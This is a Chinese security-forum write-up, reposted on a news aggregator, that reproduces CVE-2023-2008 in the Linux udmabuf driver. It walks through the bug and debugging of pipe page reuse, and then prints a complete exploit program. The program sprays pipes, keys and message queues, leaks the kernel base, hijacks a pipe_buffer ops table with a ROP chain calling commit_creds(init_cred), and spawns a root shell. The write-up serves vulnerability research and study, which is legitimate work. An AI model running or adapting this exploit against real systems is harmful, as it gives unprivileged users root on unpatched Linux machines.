CVE-2023-2008复现笔记
2024-9-9 17:50:26 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏


环境搭建

commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442
总的config:
defconfig+menuconfig
CONFIG_CONFIGFS_FS=y #支持img
CONFIG_SECURITYFS=y #支持img
CONFIG_DEBUG_INFO=y #调试
CONFIG_USER_NS=y #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_DMABUF=y #支持udmabuf
(同样是修改了objtool的一个代码)
此外还需要在init脚本中给普通用户赋一个可以打开/dev/udmabuf文件的权限。
然后需要没有cg隔离,复现版本v5.10.0刚好不存在cg隔离;(笔者在复现时尽量认为是隔离的,不使用这一特性,本cve比较特殊,需要用到pipe)


漏洞分析

在分配dmabuf的时候,内核会调用 dma_buf_export函数,其中传入一个dma_buf_export_info结构体来传递相关参数信息,该结构体的定义如下:
struct dma_buf_export_info {
const char *exp_name;
struct module *owner;
const struct dma_buf_ops *ops;
size_t size;
int flags;
struct dma_resv *resv;
void *priv;
};
dma_buf_export函数内容大致如下:
struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{
...

[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);
if (!dmabuf) {
ret = -ENOMEM;
goto err_module;
}

dmabuf->priv = exp_info->priv;
dmabuf->ops = exp_info->ops;
dmabuf->size = exp_info->size;
dmabuf->exp_name = exp_info->exp_name;
dmabuf->owner = exp_info->owner;
...[2] file = dma_buf_getfile(dmabuf, exp_info->flags);
if (IS_ERR(file)) {
ret = PTR_ERR(file);
goto err_dmabuf;
}

file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;

...
return dmabuf;

之后还会调用dma_buf_fd等和文件相关的操作,最后返回给我们一个文件描述符;
当然我们重点要关注这里有一个分配页面空间的部分:
ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
return -ENOMEM;

/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
ubuf->pagecount += list[i].size >> PAGE_SHIFT;
if (ubuf->pagecount > pglimit)
goto err;
}

/* allocate array of page pointers */
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
GFP_KERNEL);
if (!ubuf->pages) {
ret = -ENOMEM;
goto err;
}

如上述代码所示,这里给pages分配了一个指针数组,请记住,后边这里会出现漏洞;
for (i = 0; i < head->count; i++)
{
ret = -EBADFD;
memfd = fget(list[i].memfd);
if (!memfd)
goto err;
if (!shmem_mapping(file_inode(memfd)->i_mapping))
goto err;
seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
if (seals == -EINVAL)
goto err;
ret = -EINVAL;

/* make sure file can only be extended in size but not reduced */
if ((seals & SEALS_WANTED) != SEALS_WANTED ||
(seals & SEALS_DENIED) != 0)
goto err;

pgoff = list[i].offset >> PAGE_SHIFT;
pgcnt = list[i].size >> PAGE_SHIFT;

for (pgidx = 0; pgidx < pgcnt; pgidx++) {
/* lookup the page */
page = shmem_read_mapping_page(
file_inode(memfd)->i_mapping, pgoff + pgidx);
/* add the page to the array */
ubuf->pages[pgbuf++] = page;
}
fput(memfd);
memfd = NULL;
}

这里我们需要注意的是dmabuf有一个ops成员,这是一个函数表,上面有若干函数指针:
当我们对dmafd调用mmap时就会调用到mmap_udmabuf函数,下面我们简单看其代码:
总的来看就是我们可以在kmalloc分配的obj上越界写内核地址;


几个前置知识

memfd_create

ftruncate

memfd_create+udmabuf

在使用udmabuf设备之前,需要先使用memfd_create创建一个内存文件,然后才能创建 DMA buffer(dmabuf)。这是因为memfd_createudmabuf的组合提供了一种机制,将用户空间内存区域转换为可用于 DMA(直接内存访问)操作的缓冲区。以下是这种操作顺序的原因及其背后的机制。

1.memfd_create 提供匿名共享内存

memfd_create用于创建一个匿名的、基于内存的文件,这个文件存在于内存中,而不是存储在磁盘上。
◆创建的内存文件可以通过文件描述符(file descriptor, FD)进行访问,并支持类似文件的操作(如mmapwriteread)。
◆内存文件提供了一块用户空间的内存区域,可以安全地共享和管理。这对于在多个进程之间共享数据或跨设备传递内存数据非常有用。

2.udmabuf 将内存文件转换为 DMA 缓冲区

udmabuf是一个 Linux 驱动程序,它的主要功能是将一个用户空间的内存区域(通常是通过memfd_create创建的内存文件)转换为可以供 DMA 使用的缓冲区。
◆当你通过memfd_create创建内存文件后,你得到一个文件描述符,这个描述符引用了一个匿名的、驻留在内存中的文件。
◆这个文件描述符然后被传递给udmabufudmabuf设备将这个内存文件映射为 DMA 缓冲区。这样,内核中的 DMA 引擎(或其他硬件设备)就可以直接访问这块内存。

udmabuf使用接口

预定义:
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
memfd_create及其相关处理:
int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0)
errx(1, "couldn't create anonymous file");

/* setup size of anonymous file, the initial size was 0 */
if (ftruncate(mem_fd,0x1000 * 8) < 0)
errx(1, "couldn't truncate file length");

/* make sure the file cannot be reduced in size */
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
errx(1, "couldn't seal file");

printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);

打开设备文件:
int dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0)
errx(1, "couldn't open device");

printf("[*] udmabuf device fd=%d\n", dev_fd);

然后通过设备文件获取一个udmabuf:
 
struct udmabuf_create create = { 0 };
create.memfd = mem_fd;
create.size = PAGE_SIZE * N_PAGES_ALLOC;

/* reallocate one of the freed holes in kmalloc-1024 */
int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
if (udmabuf_fd < 0)
errx(1, "couldn't create udmabuf");

printf("[*] udmabuf fd=%d\n", udmabuf_fd);

通过mmap进行映射:
 
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
if (udmabuf_map == MAP_FAILED)
errx(1, "couldn't map udmabuf");

printf("[*] udmabuf mapped at %p (%#x bytes)\n",
udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

通过mremap进行扩展:
/* remap the virtual mapping expanding its size */
void* new_udmabuf_map = mremap(udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
if (new_udmabuf_map == MAP_FAILED)
errx(1, "couldn't remap udmabuf mapping");

printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
PAGE_SIZE * N_PAGES_ALLOC * 2);


原因深入分析

笔者在写这部分的时候已经完全复现成功该漏洞;
依据复现过程来看,似乎是dmabuf一经创建就会在其数组中写入若干个内核地址,然后mmap时会与用户空间进行映射,而mremap似乎并没有对这个数组做任何处理,仅仅是放宽了边界条件,使得我们访问的时候不算越界;导致我们越界访问的时候会自动读取数组下面的非法数据作为page_struct;
那么问题来了,这个dma访问内存是否还是一句页表呢?看起来这个访问映射似乎与页表逻辑是不相符的;那么ops函数表中的函数对mmap到底是怎么处理的呢?
源代码路径:
https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c
mmap的操作很简单,就是简单的赋值;
笔者个人感觉是,最开始分配了一些内存(分配物理页,但是要用虚拟地址管理),mmap的时候只分配虚拟地址,并在页表项中设置,到时候第一次访问就会走udmabuf_vm_fault进行物理内存的映射:
所以可能是mmap写了多少项页表,我们才能访问多少项,这个限制了越界,而mremap则是只修改了页表项,没有扩展这个数组;


漏洞复现

这个kmalloc_array函数是在udmabuf_create函数中被调用的,且在内核中被调用的次数比较少,我们可以直接下断点:
笔者先分配dmabuf、然后喷射内核密钥,之后再扩展dmabuf,似乎并没有越界写内核地址:
似乎可以写入一个内存地址实现USMA攻击?
这个pages所指向的应该是page_struct结构体;
我们可以在创建dmabuf之后喷射pipe并set_size,(本环境下没有cg隔离)这样dmabuf下面就会出现一个pipe的page_struct结构体,我们就有了使用用户态地址读写pipe的page的能力了,然后我们将对应的pipe关闭,那么这个page就会被释放掉;
现在我们有了一个能够制作UAF-page的能力,但是应该如何将这个page申请出来呢?

pipe页未成功释放原因探究

经过调试发现,是因为我们的pipe->ops这个函数表为空,导致了无法成功释放我们的page;
笔者在gdb中将其手动修改之后即可成功命中:
而直接调试发现,我们命中的pipe_buffer一开始是有ops的:
然而到了release的时候这个ops指针就被清空了:
这不得不让笔者想起来之前有一个pipe_read,这个read似乎也调用了一些类似的函数。
果然,==如果不读这个pipe,我们的ops就仍然存在==;
现在仍然回到了原来无法重用的问题,继续探究,最终发现是目标物理页的refcount是2,导致close之后没有成功将其free掉;为什么会是2呢?
终于找到了原因,我们==利用dma首次读取该页内容会导致该页的引用计数增加==:
所以不能通过读dma来获取命中的id,必须盲测;
问题最终得到解决:
我们不对pipe set_size了,就用原来的四则,此时要求我们的dmabuf的个数分别为初始的0x80和扩展后的0x100,然后我们给每个pipe写入超过0x1000字节的数据,用dmabuf越界读pipe的第二个页用来泄露idx,然后再用第一个页作为命中用;
我们关闭命中的pipe之后,set_size,可以成功将释放的物理页喷射出来,然后作为某一个pipe_buffer:
至此,我们有了任意读写pipe_buffer的能力了!

LEAK

此时我们可以通过读pipe_buffer中的内容,泄露page_struct的地址和内核代码段的地址;
如果还能有一个可控的内核堆地址,我们就可以利用pipe_buffer劫持控制流进而提权了;
其实也可以利用dirty_pipe直接进行攻击;(但是笔者内核版本有点低,本身就有dirty-pipe,这样似乎有点不雅观。)
本来还想用seq_file的,但是太浪费文件描述符了,命中率很低;
可以构造两次cve的利用,想用pg_vec,但是无奈pg_vec使用太多物理页了,我们释放的物理页一不小心就成了pg_vec映射的物理页了,根本没机会用来构造pg_vec;
其实我们只需要有个结构能够泄露一个我们可控的地址就行了;

栈迁移

KPTI


调试命令

gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)" -ex "c"


攻击成功


收获总结

pipe制造UAF页调试关键看refcount;(包括之前的多进程共享pipe,也一定是导致了refcount的增加)。
https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html
exp.c(https://bbs.kanxue.com/CVE-2023-2008.assets/exp.c)
pg_vec.h(https://bbs.kanxue.com/CVE-2023-2008.assets/pg_vec.h)
page.h(https://bbs.kanxue.com/CVE-2023-2008.assets/page.h)
key.h(https://bbs.kanxue.com/CVE-2023-2008.assets/key.h)
msg.h(https://bbs.kanxue.com/CVE-2023-2008.assets/msg.h)
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#include <sys/mman.h>
#include <sys/syscall.h>
#include "pg_vec.h"
#include "page.h"

struct udmabuf_create
{
uint32_t memfd;
uint32_t flags;
uint64_t offset;
uint64_t size;
};

#include "key.h"
int kids[0x100];
void spray_key(int times, int len, char *con){
char des[0x100];
memset(des, 0, sizeof(des));
char pay[0x100];
memset(pay, 0, sizeof(pay));
for(int i = 0; i < times; i++){
memset(des, 'A'+i, 0xa0);
memset(pay, 'a'+i, len);
memcpy(pay, con, len);
kids[i] = key_alloc(des, pay, len);
printf("kid == %d\n", kids[i]);
}
}
int pipe1[0x200][2];
void spray_pipe(int times, int start){
for(int i = 0; i < times; i++){
if(pipe(pipe1[start+i]) < 0){
perror("create pipe");
exit(-1);
}
//printf("pipe_fd --> %d, %d\n", pipe1[start+i][0], pipe1[start+i][1]);
}
}

#define TOTAL_PAGES 0x200
size_t data[0x1000];
#define FIRST_NUM 0x80
#define SECOND_NUM 0x200

#include "msg.h"
void spray_msg(char *con){
int kmsg_idx;
int ms_qid[0x100];
char msg_buf[0x2000];
for (int i = 0; i < 0x30; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

for (int i = 0; i < 0x30; i++)
{
memset(msg_buf, 'A', 0x1800 - 8);
int ret = msgsnd(ms_qid[i], con, 0x1800 - 0x30-0x8, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}

}

size_t kbase ;
int pipe_fd;
size_t add_rsp_0xb8_pop2;
size_t pop_rbp_ret;
size_t leave_ret;
size_t fake_stack;

int main(){

save_status();
bindCore(0);

unshare_setup();
page_init();

int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0)
errx(1, "couldn't create anonymous file");

/* setup size of anonymous file, the initial size was 0 */
if (ftruncate(mem_fd,0x1000 * FIRST_NUM) < 0)
errx(1, "couldn't truncate file length");

/* make sure the file cannot be reduced in size */
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
errx(1, "couldn't seal file");

printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * FIRST_NUM);

int dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0)
errx(1, "couldn't open device");

printf("[*] udmabuf device fd=%d\n", dev_fd);

struct udmabuf_create create = { 0 };
create.memfd = mem_fd;
create.size = 0x1000 * FIRST_NUM;

/* reallocate one of the freed holes in kmalloc-1024 */
int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
if (udmabuf_fd < 0)
errx(1, "couldn't create udmabuf");

printf("[*] udmabuf fd=%d\n", udmabuf_fd);

spray_pipe(0x100, 0x0);
memset(data, 'a', 0x1000);
for(int i = 0; i < 0x100; i++) {
write(pipe1[i][1], data, 0x1000);
write(pipe1[i][1], &i, 0x4);
}
puts("spray pipe done");

void* udmabuf_map = mmap(NULL, 0x1000 * FIRST_NUM,
PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
if (udmabuf_map == MAP_FAILED)
errx(1, "couldn't map udmabuf");

printf("[*] udmabuf mapped at %p (%#x bytes)\n",
udmabuf_map, 0x1000 * FIRST_NUM);

/* remap the virtual mapping expanding its size */
void* new_udmabuf_map = mremap(udmabuf_map,
0x1000 * 8, 0x1000 * SECOND_NUM, MREMAP_MAYMOVE);
if (new_udmabuf_map == MAP_FAILED)
errx(1, "couldn't remap udmabuf mapping");

printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
0x1000 * SECOND_NUM);

int victim_idx = -1;
memcpy(&victim_idx, new_udmabuf_map+FIRST_NUM*0x1000+0x5000, 4);
printf("victim_idx == %d\n", victim_idx);

int vic2 = -1;
memcpy(&vic2, new_udmabuf_map+FIRST_NUM*2*0x1000+0x5000, 4);
printf("vic2 == %d\n", vic2);
if(victim_idx == -1 || vic2 == -1) exit(0);

//read(pipe1[victim_idx][0], data, 4);
close(pipe1[victim_idx][0]);
close(pipe1[victim_idx][1]);
puts("sleep for 2 second ...");
sleep(2);

for(int i = 0; i < 0x100; i++){
if(i == victim_idx) continue;
if(i == vic2) continue;
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
printf("%d--%d\n", i, pipe1[i][1]);
perror("set pipe size error!");
exit(-1);
}

}

memcpy(data, new_udmabuf_map+FIRST_NUM*0x1000, 0x1000);
for(int i = 0; i < 0x200; i++){
//printf("data -> %p\n", (void *)data[i]);
}
size_t page_struct = data[0];
kbase = data[2] - 0xffffffff82019a40;
printf("kbase == %p\n", (void *)kbase);
add_rsp_0xb8_pop2 = kbase + 0xffffffff81078d6b;

close(pipe1[vic2][0]);
close(pipe1[vic2][1]);
puts("sleep for 2 second ...");
sleep(2);

leave_ret = kbase + 0xffffffff8107bd3c;
pop_rbp_ret = kbase + 0xffffffff81000688;
size_t init_cred = kbase + 0xffffffff8244c6c0;
size_t pop_rdi_ret = kbase + 0xffffffff81422e9c;
size_t commit_creds = kbase + 0xffffffff8108a190;
size_t ret = kbase + 0xffffffff81422e9d;
size_t kpti = kbase + 0xffffffff81c00e06;

int k = 0;
//构造fake_ops
memset(data, 'a', sizeof(data));
data[k++] = 0x1234567812345678;
data[k++] = add_rsp_0xb8_pop2;
data[k++] = add_rsp_0xb8_pop2;
data[k++] = add_rsp_0xb8_pop2;
data[k++] = ret;
data[k++] = ret;
data[k++] = pop_rdi_ret;
data[k++] = init_cred;
data[k++] = commit_creds;
data[k++] = kpti;
data[k++] = 0LL;
data[k++] = 0LL;
data[k++] = get_root_shell;
data[k++] = user_cs;
data[k++] = user_rflags;
data[k++] = user_sp;
data[k++] = user_ss;
//构造fake_stack

spray_msg(data);

memcpy(data, new_udmabuf_map+FIRST_NUM*2*0x1000, 0x1000);
size_t fake_ops = -1;
for(int i = 0; i < 0x200; i++){
//printf("data -> %p\n", (void *)data[i]);
if(data[i] >= 0xffff888000000000 && data[i] % 0x1000 == 0){
fake_ops = data[i] + 0x30;
break;
}
}
printf("fake_ops == %p\n", (void *)fake_ops);

char *pipe_buffer = new_udmabuf_map+FIRST_NUM*0x1000;
data[0] = page_struct;
data[1] = 0x100000000000;
data[2] = fake_ops;
memcpy(pipe_buffer, data, 0x18);

fake_stack = fake_ops + 0x20;
printf("fake_stack == %p\n", (void *)fake_stack);

for(int i = 0; i < 0x100; i++){
if(i == victim_idx) continue;
if(i == vic2) continue;
pipe_fd = pipe1[i][0];
__asm__(
"mov rdi, pipe_fd;"
"mov rsi, 0;"
"mov rdx, 8;"
"mov r15, pop_rbp_ret;"
"mov r14, fake_stack;"
"mov r13, leave_ret;"
"mov r12, 0xcccccccc;"
"mov r11, 0xbbbbbbbb;"
"mov r10, 0xaaaaaaaaa;"
"mov r9, 0x99999999;"
"mov rax, 3;"
"syscall;"

);
pipe_fd = pipe1[i][1];
__asm__(
"mov rdi, pipe_fd;"
"mov rsi, 0;"
"mov rdx, 8;"
"mov r15, pop_rbp_ret;"
"mov r14, fake_stack;"
"mov r13, leave_ret;"
"mov r12, 0xcccccccc;"
"mov r11, 0xbbbbbbbb;"
"mov r10, 0xaaaaaaaaa;"
"mov r9, 0x99999999;"
"mov rax, 3;"
"syscall;"

);
}

puts("end");
getchar();
}

bluefrostsecurity/CVE-2023-2008: Proof of concept code for CVE-2023-2008 (https://github.com/bluefrostsecurity/CVE-2023-2008)
CVE-2023-2008 - Analyzing and exploiting a bug in the udmabuf driver | Bluefrostsecurity(https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html)

看雪ID:mb_btcapvow

https://bbs.kanxue.com/user-home-975602.htm

*本文为看雪论坛精华文章,由 mb_btcapvow 原创,转载请注明来自看雪社区

# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458572285&idx=2&sn=0222e2ed9589877a875eb5cb86056ac2&chksm=b18de57786fa6c61103d2f5c157fbdb516461dcba4b82b88daea0ed03e0c2bfbfefa1fb7d8ad&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh